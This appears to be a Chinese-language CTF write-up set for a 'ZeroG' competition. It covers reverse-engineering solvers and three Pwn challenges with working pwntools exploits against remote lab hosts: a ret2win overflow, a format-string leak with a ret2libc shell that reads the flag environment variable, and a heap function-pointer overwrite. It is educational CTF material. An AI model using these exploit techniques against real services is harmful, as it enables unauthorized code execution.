"9d270153e1de3787561d569097d80ab42ed5a79b67e355a915f33bcfe93e6d5707af"
)


def rol8(value: int, count: int) -> int:
value &= 0xFF
count &= 7
return ((value << count) | (value >> (8 - count))) & 0xFF


def ror8(value: int, count: int) -> int:
value &= 0xFF
count &= 7
return ((value >> count) | (value << (8 - count))) & 0xFF


def rol32(value: int, count: int) -> int:
value &= 0xFFFFFFFF
count &= 31
return ((value << count) | (value >> (32 - count))) & 0xFFFFFFFF


def recover_passcode() -> str:
acc = 0x6D
r9 = 0x67
r10 = 0x17
recovered = []

for index, target in enumerate(PASS_TARGET):
z = acc ^ target
y = (z - (r10 & 0xFF)) & 0xFF
plain = ror8(y, (index % 6) + 1) ^ (r9 & 0xFF)
recovered.append(plain)

tmp = rol8(plain ^ (r9 & 0xFF), (index % 6) + 1)
tmp = (tmp + (r10 & 0xFF)) & 0xFF
acc ^= tmp
r9 += 0x0B
r10 += 0x17

return bytes(recovered).decode("ascii")


def derive_seed(passcode: str) -> int:
esi = 0x9E3779B9
edi = 0x4E42554C
eax = 0

for index, byte in enumerate(passcode.encode("ascii")):
eax = ((byte << ((index & 3) * 8)) & 0xFFFFFFFF) ^ edi
eax = (eax + esi) & 0xFFFFFFFF
esi = (esi + 0x045D9F3B) & 0xFFFFFFFF
eax = rol32(eax, 5)
edi = eax ^ 0x7F4A7C15

return eax ^ 0xBF4BAC18


def xorshift32(value: int) -> int:
value ^= (value << 13) & 0xFFFFFFFF
value ^= (value >> 17) & 0xFFFFFFFF
value ^= (value << 5) & 0xFFFFFFFF
return value & 0xFFFFFFFF


def decode_flag(seed: int) -> str:
eax = seed
edi = 0x42
output = bytearray()

for index, item in enumerate(FLAG_DATA):
if (index & 3) == 0:
eax = xorshift32(eax)
key_byte = (eax >> ((index & 3) * 8)) & 0xFF
output.append(item ^ (edi & 0xFF) ^ key_byte)
edi += 0x0D

return output.decode("ascii")


def main() -> None:
passcode = recover_passcode()
seed = derive_seed(passcode)
flag = decode_flag(seed)

print(f"binary = {Path(__file__).resolve().parent.parent / 'evidence' / 'nebula_patch'}")
print(f"passcode= {passcode}")
print(f"seed = 0x{seed:08x}")
print(f"flag = {flag}")


if __name__ == "__main__":
main()

验证输出

复现脚本输出:

1
2
3
4
binary  = C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\零重力\Reverse\Re_03.Nebula Patch\evidence\nebula_patch
passcode= Nebula-7F3A-Vector
seed = 0x8887cf28
flag = flag{ZeroG_nebula_patch_antidebug}

知识点总结

这题的关键是先判断哪些逻辑真的在产出结果,哪些只是反分析噪声。ptraceTracerPid 检查虽然存在,但不会改变静态还原的核心路径;真正有价值的是那条逐字节可逆的校验链和最后的 xorshift32 解码过程。把这两部分拆开,题目就会变得非常直。

最终 flag

1
flag{ZeroG_nebula_patch_antidebug}

Re_04.Nebula VM / 星云虚拟机

题目信息

项目 内容
比赛来源 零重力
题目分类 Reverse
题目名称 Re_04.Nebula VM / 星云虚拟机
附件 nebula_vm.zip
附件 SHA256 5B6D47A5A9EBA7B49C092F72A303224DE2EF81C6A6AF3CA70D9E8022BC00EBC9
Flag 类型 静态 flag
Flag 格式 flag{...}

题面说工程师没有把校验逻辑直接写进程序,而是做了一个很小的自定义虚拟机,把 passcode 校验编译成 bytecode 存在程序里,而且 bytecode 还是加密存储。Fen 给出的提示是“真正的规则不在汇编里,而在星云自己的指令集中”,这基本就把分析重点明确成了两步:先还原 VM 解释器,再还原 bytecode。

解题思路

附件里只有一个很小的 Linux ELF,可执行文件被 strip,但体积只有 14KB 左右。像这种体量的 VM 题,先看主函数和 .rodata 通常就够了,不一定非要一开始就上重型反编译器。

程序启动后会读入一行口令,并要求长度恰好为 20 字节。随后会从 .rodata + 0x160 取出一段长度为 0x1f5 的加密数据,并在进入 VM 前执行如下解密逻辑:

1
2
3
4
5
key = 0xffffffa9;
for (i = 0; i < 0x1f5; i++) {
out[i] = enc[i] ^ (key & 0xff) ^ (i >> 1);
key += 0x25;
}

这一步说明题面中提到的“加密存储 bytecode”并不复杂,本质上就是一个递增常量混合索引的逐字节异或流。把这 0x1f5 字节解开后,就能拿到完整 VM 程序。

技术实施

继续看解释器主循环,可以确认 VM 程序从 offset 0 开始执行。每条正常指令都是 3 字节,只有终止指令是单字节 0xff0xfe。解释器通过 jump table 分发 opcode,最终真正实现的只有极少数几条:

1
2
3
4
5
6
7
8
9
10
0x11: LOAD  reg, input[idx]
0x20: XORI reg, imm
0x21: ADDI reg, imm
0x22: ROLI reg, imm
0x23: XORR reg_dst, reg_src
0x30: CMPI reg, imm
0x31: JZ rel16
0x40: MOV reg_dst, reg_src
0xff: HALT_BAD
0xfe: HALT_OK

解释器内部有 regs[8] 这组寄存器槽,但实际 bytecode 只用到了 reg0reg1。而且在进入 VM 之前,程序会先把 reg1 预置为 0xa7。这一点很关键,因为它决定了第一轮校验的初始状态。

把解密后的 bytecode 按 3 字节一条拆开后,会看到 20 轮几乎完全相同的模板,每轮对应校验输入的一个字符:

1
2
3
4
5
6
7
8
9
LOAD reg0, idx
XORI reg0, const1
ROLI reg0, rot
ADDI reg0, const2
XORR reg0, reg1
CMPI reg0, target
JZ +1
HALT_BAD
MOV reg1, reg0

翻译成高层逻辑,就是:

1
2
3
4
5
reg0 = rol8((input[idx] ^ const1), rot)
reg0 = (reg0 + const2) & 0xff
reg0 ^= reg1
assert reg0 == target
reg1 = reg0

这里 target 全都直接写死在 bytecode 里,reg1 又是链式从上一轮传到下一轮,因此整个 passcode 可以逐字节逆推。只要按每轮反向执行:

1
input[idx] = ror8((target ^ reg1_prev - const2) mod 256, rot) ^ const1

就能恢复全部 20 个字符。

最终倒推出的 passcode 是:

1
VM-NEBULA-ORBIT-9A7C

把这串口令喂给原程序后,程序成功进入通过分支并打印静态 flag。

关键命令

最终复现只需要运行恢复脚本:

1
python scripts\solve.py

如果只看最关键的本地验证命令,也可以直接把恢复出的 passcode 喂给 ELF:

1
printf '%s\n' 'VM-NEBULA-ORBIT-9A7C' | ./nebula_vm

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pathlib import Path
import re
import subprocess


BASE_DIR = Path(__file__).resolve().parent.parent
BIN_PATH = BASE_DIR / "evidence" / "src" / "nebula_vm"
OUT_DIR = BASE_DIR / "outputs"


ENC_OFFSET = 0x2160
ENC_LEN = 0x1F5
KEY_START = 0xFFFFFFA9


def rol8(x: int, n: int) -> int:
x &= 0xFF
n &= 7
return ((x << n) | (x >> (8 - n))) & 0xFF


def ror8(x: int, n: int) -> int:
x &= 0xFF
n &= 7
return ((x >> n) | ((x << (8 - n)) & 0xFF)) & 0xFF


def decrypt_vm_code(binary: bytes) -> bytes:
enc = binary[ENC_OFFSET : ENC_OFFSET + ENC_LEN]
key = KEY_START
out = bytearray()
for i, b in enumerate(enc):
out.append((b ^ (key & 0xFF) ^ (i >> 1)) & 0xFF)
key = (key + 0x25) & 0xFFFFFFFF
return bytes(out)


def recover_passcode() -> str:
targets = [
0x4C, 0xEB, 0x7C, 0xD7, 0x75,
0xB0, 0x48, 0xD9, 0x81, 0x2F,
0x31, 0x0F, 0x61, 0x1C, 0x16,
0x62, 0x9C, 0x4C, 0xF4, 0xE3,
]

prev = 0xA7
out = []
for i, target in enumerate(targets):
xori = (0x09 + 0x11 * i) & 0xFF
rot = (i % 7) + 1
addi = (0x2D + 0x1D * i) & 0xFF

v = target ^ prev
v = (v - addi) & 0xFF
ch = ror8(v, rot) ^ xori

out.append(ch)
prev = target

return bytes(out).decode("ascii")


def run_binary(passcode: str) -> str:
wsl_bin = "/mnt/c" + str(BIN_PATH).replace("C:", "").replace("\\", "/")
cmd = f"printf '%s\\n' '{passcode}' | '{wsl_bin}'"
proc = subprocess.run(
["wsl", "sh", "-lc", cmd],
capture_output=True,
text=True,
check=False,
)
return proc.stdout


def main() -> None:
OUT_DIR.mkdir(exist_ok=True)

binary = BIN_PATH.read_bytes()
vm_code = decrypt_vm_code(binary)
(OUT_DIR / "vm_code.bin").write_bytes(vm_code)

passcode = recover_passcode()
(OUT_DIR / "passcode.txt").write_text(passcode, encoding="utf-8")

output = run_binary(passcode)
(OUT_DIR / "run_output.txt").write_text(output, encoding="utf-8")

match = re.search(r"flag\{[^}]+\}", output)
if not match:
raise RuntimeError("flag not found in program output")

print(f"passcode = {passcode}")
print(f"flag = {match.group(0)}")


if __name__ == "__main__":
main()

验证输出

恢复脚本输出:

1
2
passcode = VM-NEBULA-ORBIT-9A7C
flag = flag{ZeroG_nebula_vm_checker}

把 passcode 直接喂给原程序,也能得到成功输出:

1
2
3
ZeroG Nebula VM
Enter passcode: [+] VM accepted.
[+] Flag: flag{ZeroG_nebula_vm_checker}

知识点总结

这题最值得记住的点,是 VM 题并不一定要把所有汇编都硬翻成大段伪代码。像这种只有十几 KB 的小 ELF,真正有价值的信息往往集中在三处:输入长度检查、嵌入数据的解密逻辑、opcode 跳表。把这三块先捞出来,很多时候就足够写出高层恢复脚本。

第二个关键点是把“解释器语义”和“bytecode 结构”拆开看。解释器告诉我们每条指令做什么,bytecode 告诉我们这些指令怎么被组织。如果发现 bytecode 只是重复固定模板,那就不用真的做完整 VM 执行器,直接按模板倒推约束通常更省力。

题面提到的 xorshift 也确实存在,不过它只出现在成功分支里用于处理最终输出。真正决定 passcode 的是前面的 VM 校验链。先把 passcode 解出来,再让程序自己走成功路径打印静态 flag,往往是最干净的收尾方式。

最终 flag

1
flag{ZeroG_nebula_vm_checker}

Re_05.Android Re: Docking Station

题目信息

项目 内容
比赛来源 零重力
题目分类 Reverse
题目名称 Re_05.Android Re: Docking Station
附件 app-debug.apk
附件 SHA256 B8709D0F5E86FFD6FCCAD35C08E4C9ED7A6E5F2A29AD6ACCE62852136F01AA19
Flag 类型 静态 flag
Flag 格式 flag{...}

题面说 ZeroG 停靠站只接受一串正确的 docking code,APK 会在本地验证输入并不会联网。这个描述基本把方向锁定在 Android 本地逆向:先看 Activity 输入处理,再找真正的校验函数。

解题思路

先把 APK 解压,能看到多个 DEX 和一组 libnative-lib.so

1
2
3
4
5
6
7
classes3.dex
classes4.dex
classes5.dex
lib/arm64-v8a/libnative-lib.so
lib/x86/libnative-lib.so
lib/x86_64/libnative-lib.so
lib/armeabi-v7a/libnative-lib.so

用字符串和符号表先扫 native 库,x86_64 版本中能直接看到 JNI 导出符号:

1
Java_com_zerog_re_MainActivity_checkFlagCore

这说明 Java 层大概率只是做界面和简单预检查,真正的 docking code 校验在 native 层。继续用 apktool 反编译 DEX,MainActivity.smali 中可以确认 Java 层逻辑非常薄:

1
2
3
4
5
6
7
8
basicCheck(s):
startsWith("flag{")
endsWith("}")
length == 30

onClick:
input.getBytes(UTF_8)
checkFlagCore(bytes)

也就是说传入 JNI 的就是原始 flag 字符串的 UTF-8 字节。由于 flag 全部是 ASCII,字节长度和字符串长度一致,native 中要求长度 30 也正好对应 Java 层检查。

技术实施

反汇编 lib/x86_64/libnative-lib.soJava_com_zerog_re_MainActivity_checkFlagCore,可以看到开头先调用 GetArrayLength,并要求长度必须等于 0x1e。随后通过 GetByteArrayRegion 把输入复制到本地缓冲区,再逐字节处理。

核心比较目标表位于 .rodata 起始附近,一共 30 字节:

1
2
8a fa 1b d4 a0 db 3c ce a1 f7 fa cd 18 5b 85
1b 1b 62 9a ca 1f 57 7d af e7 1c 81 db cb bd

每个输入字节会经过四层变换,然后和目标表对应位置比较:

1
2
3
4
5
key = 13 * i + 7 * len(data) + 0x42
x = data[i] ^ key
x = x + 17 * i + 0x17
x = rol8(x, (i % 7) + 1)
x = x ^ prev ^ 0xA5

其中 prev 初始为 0x3c,每轮校验成功后更新为当前目标字节。这个结构是顺序链式校验,但每一轮都可逆,因此可以直接从目标表倒推输入字节。反推时把每一轮操作反过来即可:

1
2
3
4
5
x = target[i] ^ prev ^ 0xA5
x = ror8(x, (i % 7) + 1)
x = x - 17 * i - 0x17
data[i] = x ^ key
prev = target[i]

关键命令

1
2
3
4
5
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe x app-debug.apk -ooutputs\apk_unzip -y
wsl apktool d -f app-debug.apk -o outputs/apktool
wsl readelf -Ws outputs/apk_unzip/lib/x86_64/libnative-lib.so | grep -i 'checkFlag\|Java_com'
wsl objdump -d -Mintel --start-address=0x1a760 --stop-address=0x1a9a8 outputs/apk_unzip/lib/x86_64/libnative-lib.so
python scripts\solve.py

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from __future__ import annotations


TARGET = bytes.fromhex(
"8afa1bd4a0db3ccea1f7facd185b851b"
"1b629aca1f577dafe71c81dbcbbd"
)


def ror8(x: int, r: int) -> int:
r &= 7
return ((x >> r) | (x << (8 - r))) & 0xFF


def rol8(x: int, r: int) -> int:
r &= 7
return ((x << r) | (x >> (8 - r))) & 0xFF


def native_check(data: bytes) -> bool:
if len(data) != 30:
return False

prev = 0x3C
for i, b in enumerate(data):
key = (13 * i + 7 * len(data) + 0x42) & 0xFF
x = b ^ key
x = (x + 17 * i + 0x17) & 0xFF
x = rol8(x, (i % 7) + 1)
x ^= prev
x ^= 0xA5
if x != TARGET[i]:
return False
prev = x
return True


def recover() -> bytes:
out = bytearray()
prev = 0x3C
n = len(TARGET)

for i, want in enumerate(TARGET):
x = want ^ prev ^ 0xA5
x = ror8(x, (i % 7) + 1)
x = (x - 17 * i - 0x17) & 0xFF
key = (13 * i + 7 * n + 0x42) & 0xFF
out.append(x ^ key)
prev = want

return bytes(out)


def main() -> None:
flag = recover()
print(flag.decode("utf-8"))
print(f"native_check={native_check(flag)}")


if __name__ == "__main__":
main()

验证输出

运行脚本得到:

1
2
flag{ZeroG_android_vm_docking}
native_check=True

脚本中的 native_check 是按 native 反汇编逻辑重写的本地校验函数。恢复出的字符串再次喂回该函数得到 True,说明它可以通过 APK 的核心校验。

知识点总结

Android 逆向题遇到 APK 内含 native 库时,可以先从 Java 层确认输入如何被传入 JNI。这里 Java 层只负责 flag{} 格式和长度检查,核心算法完全在 checkFlagCore([B)Z 中,因此把精力放在 native 函数上最直接。

native 代码虽然是 stripped 的,但 JNI 导出符号保留了类名和方法名,等于直接给出了入口。反汇编后只要抓住长度检查、目标表地址和逐字节比较逻辑,就能把校验翻译成可逆公式,不需要运行模拟器或做动态调试。

最终 flag

1
flag{ZeroG_android_vm_docking}

Pwn

Pwn_01.Starport Ret2win / 星港 Ret2win

题目信息

项目 内容
比赛来源 零重力
题目分类 Pwn
题目名称 Pwn_01.Starport Ret2win / 星港 Ret2win
附件 starport_ret2win
附件 SHA256 9F611EFA3A13CDABB6D96FD0B731F2DDD1B5FC0A1242B80BD0EB7483CFB3BE2C
靶机 43.108.37.178:33164
连接方式 nc 43.108.37.178 33164
Flag 格式 flag{...}

这题就是一道很纯粹的 ret2win。程序没有 PIE,也没有 canary,而后门函数 win() 本身就会读取 GZCTF_FLAG 并输出,因此目标非常明确:确认覆盖偏移,然后把返回地址直接改到 win()

解题思路

基础摸底后可以确认二进制是 ELF64,保护组合为 No PIE + No Canary + NX + Full RELROvuln() 在栈上分配了 0x40 字节缓冲区,却直接执行:

1
read(0, buf, 0xc8);

这说明覆盖范围远大于缓冲区本身,保存的 rbp 和返回地址都会被一起覆盖。与此同时,程序还导出了一个现成的 win(),地址固定在 0x4011e2,函数内容就是打印提示并读取环境变量里的动态 flag。

所以整条利用链非常直接:先用静态栈布局确认偏移,再构造 padding + p64(win),发送一次 payload 即可。

技术实施

偏移计算没有陷阱。缓冲区大小为 0x40,后面紧跟 0x8 字节保存的 rbp,因此覆盖返回地址所需偏移为:

1
0x40 + 0x8 = 72

最终 payload 只需要:

1
b"A" * 72 + p64(0x4011e2)

由于没有 PIE,win() 地址在本地和远程都是固定的,不需要额外信息泄露。脚本本地运行时会给进程注入一个测试用 GZCTF_FLAG,远程运行时则直接连题目容器读取真实 flag。

关键输出如下:

关键命令

1
python scripts\exploit.py REMOTE

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pathlib import Path

from pwn import *


HOST = "43.108.37.178"
PORT = 33164

BASE_DIR = Path(__file__).resolve().parent.parent / "evidence"
BIN_PATH = BASE_DIR / "starport_ret2win"

context.binary = ELF(str(BIN_PATH))
context.log_level = args.LOG_LEVEL or "info"

OFFSET = 72
WIN = context.binary.sym["win"]


def start():
if args.REMOTE:
return remote(HOST, PORT)
return process(str(BIN_PATH), env={"GZCTF_FLAG": "flag{local_test_flag}"})


def build_payload():
return b"A" * OFFSET + p64(WIN)


def main():
io = start()
io.sendline(build_payload())
print(io.recvall(timeout=2).decode("latin-1", errors="ignore"))
io.close()


if __name__ == "__main__":
main()

验证输出

远程运行脚本后可以直接看到控制流已经跳进 win()

1
2
[+] Maintenance channel unlocked.
flag{d9559e3b-b43b-425a-9f0b-607e1820c632}

这一步同时验证了偏移计算正确、返回地址覆盖成功,以及远程容器中的 GZCTF_FLAG 被后门函数完整读出。

知识点总结

ret2win 题最怕自己把事情想复杂。这题虽然开着 NX 和 Full RELRO,但真正相关的条件只有两个:一是能不能覆盖返回地址,二是程序里有没有现成的获胜函数。两者都满足时,最短利用链往往就是最稳的利用链。

另外,No PIE 在这类题里非常舒服。只要代码段地址固定,像 win() 这样的目标函数就能直接写死在 payload 里,完全不需要再补一条泄露地址的链路。

最终 flag

1
flag{d9559e3b-b43b-425a-9f0b-607e1820c632}

Pwn_02.Format Station / 格式化空间站

题目信息

项目 内容
比赛来源 零重力
题目分类 Pwn
题目名称 Pwn_02.Format Station / 格式化空间站
附件 format_station.zip
附件 SHA256 454aea31d6b8136547966c3f7539065ed47c36d2ac3ab80537997df8c575ba78
靶机 43.108.37.178:33168
连接方式 nc 43.108.37.178 33168
Flag 格式 flag{...}

这题把格式化字符串和栈溢出放在了同一个服务里。第一段输入会直接进入 printf,第二段输入则会把 0x100 字节写进 0xa0 的栈缓冲区。配合题目给出的远程容器,最终目标就是先泄露 canary 和 libc 基址,再走 ret2libc 读出 GZCTF_FLAG

解题思路

二进制是 amd64 ELF,保护开了 Full RELRO、Canary、NX、No PIE,并且还带着 SHSTK 和 IBT。看起来很硬,但实际利用链很清楚。

程序的第一段读取会把用户输入交给 printf(user_input, canary, puts@plt)。这意味着格式化字符串参数里已经提前塞了一个 canary,以及一个 libc 相关指针。既然是位置参数格式化字符串,就可以直接用 %1$p%15$p 做定点泄露。

第二段读取是标准的栈溢出,虽然声明上是 0xa0 缓冲区,但实际覆盖长度到了 0x100,足够把返回地址改成 system("/bin/sh")。因为没有 PIE,retpop rdi; ret 都是固定地址,整条利用链可以稳定写死。

技术实施

先用格式化字符串取两个关键值。

%1$p 直接拿到栈 canary,因为它正好对应函数传给 printf 的第一个变参。

%15$p 在远程环境里稳定泄露到 libc 中的 _IO_2_1_stderr_ 附近地址,用它减去符号偏移就能还原 libc 基址。

拿到基址后,第二阶段 payload 按下面的布局摆放:

1
2
3
4
5
6
7
8
padding(0xc8)
canary
saved_rbp
ret
pop rdi ; ret
"/bin/sh\x00"
system
0

这里额外放一个 ret,是为了让后面的 system 调用在栈对齐上更稳。

远程拿到 shell 后,直接读取 GZCTF_FLAG,就能拿到动态 flag。

关键命令

1
python scripts\solve.py REMOTE

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF("../evidence/format_station", checksec=False)
remote_libc = ELF("../evidence/libc.so.6", checksec=False)
local_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
context.log_level = "info"

HOST = args.HOST or "43.108.37.178"
PORT = int(args.PORT or 33168)
RET = 0x40101A
POP_RDI_RET = 0x4011FC


def start():
if args.REMOTE:
return remote(HOST, PORT), remote_libc
return process(elf.path), local_libc


def leak_state(io, libc):
io.recvuntil(b"Send your format beacon:\n")
leak_idx = 15 if args.REMOTE else 12
payload = (b"%1" + bytes([36]) + b"p|%" + str(leak_idx).encode() + bytes([36]) + b"p").ljust(16, b"A")
io.sendline(payload)
line = io.recvline().strip()
canary_s, stderr_s = line.split(b"|")
canary = int(canary_s, 16)
libc.address = int(stderr_s.rstrip(b"A"), 16) - libc.sym["_IO_2_1_stderr_"]
io.recvuntil(b"Send your access packet:\n")
return canary


def overflow(io, canary, libc):
payload = flat(
b"A" * 0xc8,
canary,
b"B" * 8,
RET,
POP_RDI_RET,
next(libc.search(b"/bin/sh\x00")),
libc.sym["system"],
0,
)
io.send(payload)


def main():
io, libc = start()

canary = leak_state(io, libc)
log.success(f"canary = {canary:#x}")
log.success(f"libc = {libc.address:#x}")

overflow(io, canary, libc)

if args.REMOTE:
cmd = b"echo ===flag===; printenv GZCTF_FLAG; cat /flag 2>/dev/null; cat ./flag 2>/dev/null; exit\n"
else:
cmd = b"echo local_ok; exit\n"
io.send(cmd)
data = io.recvrepeat(2)
print(data.decode(errors="ignore"))


if __name__ == "__main__":
main()

验证输出

远程复现时先泄露出 canary 和 libc 基址,随后触发溢出拿到执行流,最终输出如下:

1
2
3
4
5
6
[x] Opening connection to 43.108.37.178 on port 33168
[+] canary = 0x955914564eff100
[+] libc = 0x7fa50b386000
[-] packet rejected
===flag===
flag{41221b51-0a6d-4e65-a80d-57121f41ebaa}

知识点总结

这题的关键不在于“有格式化字符串”或者“有溢出”本身,而在于两段输入刚好可以串成完整利用链。格式化字符串负责把 canary 和 libc 基址拆出来,栈溢出负责把控制流交给 ret2libc。

另外,题目里存在 SHSTK 和 IBT,但由于没有 PIE 且有可直接利用的固定 gadget,最后还是能沿着传统 ROP 路线稳稳打通。

最终 flag

1
flag{41221b51-0a6d-4e65-a80d-57121f41ebaa}

Pwn_03.Orbit Notes / 轨道便签

题目信息

项目 内容
比赛来源 零重力
题目分类 Pwn
题目名称 Pwn_03.Orbit Notes / 轨道便签
附件 orbit_notes.zip
靶机 43.108.37.178:33207
连接方式 nc 43.108.37.178 33207
Flag 类型 动态 flag
Flag 格式 flag{...}

题面强调的是堆基础利用、dangling pointer、tcache chunk 复用和函数指针劫持,看起来像是一道典型的 UAF 堆题。实际把二进制拆开之后会发现,这题的确围绕函数指针展开,但利用路径比题面提示得还直接一些。

解题思路

附件里只有一个 ELF 程序,没有额外 libc。先做基础检查,程序为 64 位 Linux ELF,保护是 Full RELRO、NX 开启、No PIE、无 canary,并且没有剥离符号。这个组合对利用很友好,尤其是 No PIE 意味着代码段地址固定,如果程序里存在后门函数,基本可以直接跳。

继续看符号表和反汇编,很快能看到几个关键函数:create_notedelete_noteedit_noteshow_note,以及一个显眼的 win。这已经很像“可控函数指针调用”的题型了。

create_note 每次会申请 0x50 字节堆块,并在块起始位置写入默认函数指针 safe_print。从 +0x8 开始才是实际的便签文本。show_note 的逻辑非常简单,它会取出这个堆块首地址上的函数指针,然后把整个 note 指针作为参数调用:

1
2
fn = *(note + 0x0);
fn(note);

如果这里只看到这些,很自然会往题面提示的方向想,也就是通过删除后残留指针,配合 tcache 复用去构造 UAF 劫持。但这题真正的破口在 edit_note。它不是从 note + 0x8 开始改内容,而是直接执行:

1
read(0, note, 0x50);

也就是说,编辑便签时会从堆块开头整块覆盖,函数指针本身就包含在可写区域里。这样一来,其实根本不需要先走一遍复杂的 dangling pointer 与 chunk 复用流程。只要创建一个 note,再编辑它时把前 8 字节改成 win 的地址,随后调用 show_note,程序就会直接跳到 win

由于程序没有 PIE,win 地址固定。反汇编可见:

1
2
win = 0x401341
safe_print = 0x4012fd

win 的功能也很干脆,它会读取环境变量 GZCTF_FLAG 并打印,然后 _exit(0)。所以这题的最终利用链可以压缩成一句话:覆盖 note 的函数指针为 win,再触发显示。

技术实施

先用 checksecreadelf 确认保护与符号信息:

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

关键结构在反汇编里非常清楚。create_note 会在新分配的堆块起始处写入:

1
*(note + 0x0) = 0x4012fd

也就是默认显示函数 safe_print

edit_note 的关键写入逻辑是:

1
read(0, note, 0x50);

这一步直接告诉我们,首 8 字节函数指针完全可以在编辑时被用户输入覆盖。因此构造 payload 时,只需要把前 8 字节写成 p64(0x401341),后面随便补满即可。

本地验证时,触发 show_note 后已经能够跳进 win,只是由于本地环境没有配置 GZCTF_FLAG,所以输出的是:

1
2
[+] Orbital admin channel opened.
no flag configured

这反而侧面证明控制流劫持已经成功,接下来只需把同样的 payload 发到远端即可读取动态 flag。

远端运行结果如下图所示:

关键命令

1
2
3
4
5
D:\CaptureTheFlag\CTFTool\7-Zip\7z.exe l orbit_notes.zip
wsl file /mnt/c/Users/glj07/Desktop/Codex工作区/Writeup/CTF/零重力/Pwn/Pwn_03.Orbit Notes/outputs/orbit_notes/orbit_notes
wsl checksec --file=/mnt/c/Users/glj07/Desktop/Codex工作区/Writeup/CTF/零重力/Pwn/Pwn_03.Orbit Notes/outputs/orbit_notes/orbit_notes
wsl objdump -d -Mintel /mnt/c/Users/glj07/Desktop/Codex工作区/Writeup/CTF/零重力/Pwn/Pwn_03.Orbit Notes/outputs/orbit_notes/orbit_notes
wsl bash -lc "cd '/mnt/c/Users/glj07/Desktop/Codex工作区/Writeup/CTF/零重力/Pwn/Pwn_03.Orbit Notes' && python3 scripts/solve.py REMOTE"

完整关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
from pwn import *


HOST = "43.108.37.178"
PORT = 33207
BIN_PATH = "/mnt/c/Users/glj07/Desktop/Codex工作区/Writeup/CTF/零重力/Pwn/Pwn_03.Orbit Notes/outputs/orbit_notes/orbit_notes"

context.binary = ELF(BIN_PATH, checksec=False)
context.log_level = "info"


def start():
if args.REMOTE:
return remote(HOST, PORT)
return process(context.binary.path)


def menu_choice(io, choice: int):
io.sendlineafter(b"> ", str(choice).encode())


def create(io, data: bytes):
menu_choice(io, 1)
io.sendafter(b"Input note content:\n", data)


def edit(io, index: int, data: bytes):
menu_choice(io, 3)
io.sendlineafter(b"Index: ", str(index).encode())
io.sendafter(b"Input raw note data:\n", data)


def show(io, index: int):
menu_choice(io, 4)
io.sendlineafter(b"Index: ", str(index).encode())


def main():
io = start()

create(io, b"A" * 8 + b"\n")
payload = p64(context.binary.symbols["win"]) + b"B" * 0x48
edit(io, 0, payload)
show(io, 0)
output = io.recvall(timeout=3)
print(output.decode("latin-1", errors="replace"))


if __name__ == "__main__":
main()

验证输出

本地运行时可以看到控制流已经成功劫持到 win

1
2
[+] Orbital admin channel opened.
no flag configured

远端运行则会输出真实动态 flag:

1
2
[+] Orbital admin channel opened.
flag{8383d96d-14e2-4036-8a41-a0af52e819ef}

这同时验证了两件事。一方面,函数指针覆盖路径是正确的;另一方面,win 读取的是比赛环境中注入的 GZCTF_FLAG,因此不需要额外 ROP 或 libc 利用链。

知识点总结

这题很适合提醒自己,不要被题面提示完全绑定思路。题面里提到的 dangling pointer 和 tcache chunk 复用并不算错,它们确实能引导到“函数指针可能被 UAF 劫持”这个方向。但真正拆开程序之后,会发现 edit_note 已经给了更直接的写原语,足够原地覆盖函数指针。

做 Pwn 题时,题面提示通常只是大方向,最后还是要回到具体读写边界上来。如果一个结构体里第一个字段就是函数指针,而编辑逻辑又直接从结构体首地址开始写,那么利用复杂度往往会瞬间下降。

另外,这题也体现了 No PIE 的价值。只要代码地址固定,像 win 这样的后门函数就可以被直接当作目标地址,不需要先做地址泄露,整体利用链会短得非常舒服。

最终 flag

1
flag{8383d96d-14e2-4036-8a41-a0af52e819ef}

Misc

Misc_01.StarTrail / 星轨校验

题目信息

项目 内容
比赛来源 零重力
题目分类 Misc
题目名称 Misc_01.StarTrail / 星轨校验
附件 zerog_startrail.zip
Flag 格式 flag{...}

题面给出的线索非常集中:日志里有 ZGST-xx/yy 星轨片段,按序号排序后尝试常见编码和压缩格式;同时 Pwnstars 的五名成员和官网域名可能用于派生密钥。也就是说,本题不是图片隐写或文件雕刻,而是一条“日志片段重组、压缩解包、密钥派生、流加密解密”的组合链。

解题思路

附件解压后有三个文件:ground_control.logtelemetry.binREADME.txt。其中 ground_control.log 是主要线索来源,日志里散落着 11 段形如 ZGST-xx/11:<data> 的片段。由于片段编号从 01/1111/11,很自然先按编号排序,再拼接数据部分。

拼接后的字符串以 eJw 开头,这是 zlib 压缩数据经过 base64 编码后很常见的开头。于是先做 base64 解码,再做 zlib 解压,得到一段 JSON 元数据:

1
2
3
4
5
6
7
8
9
10
{
"mission": "ZeroG-CTF First Launch",
"lab": "Pwnstars",
"crew": ["N1", "A", "Hugo", "Gnaw", "Fen"],
"domain": "www.pwnstars.online",
"nonce": "5a45524f472d3031",
"cipher": "xorstream-sha256-ctr",
"kdf": "sha256('Pwnstars::' + '-'.join(crew) + '::' + domain)",
"note": "Fen says: the trail gives order, the team gives key."
}

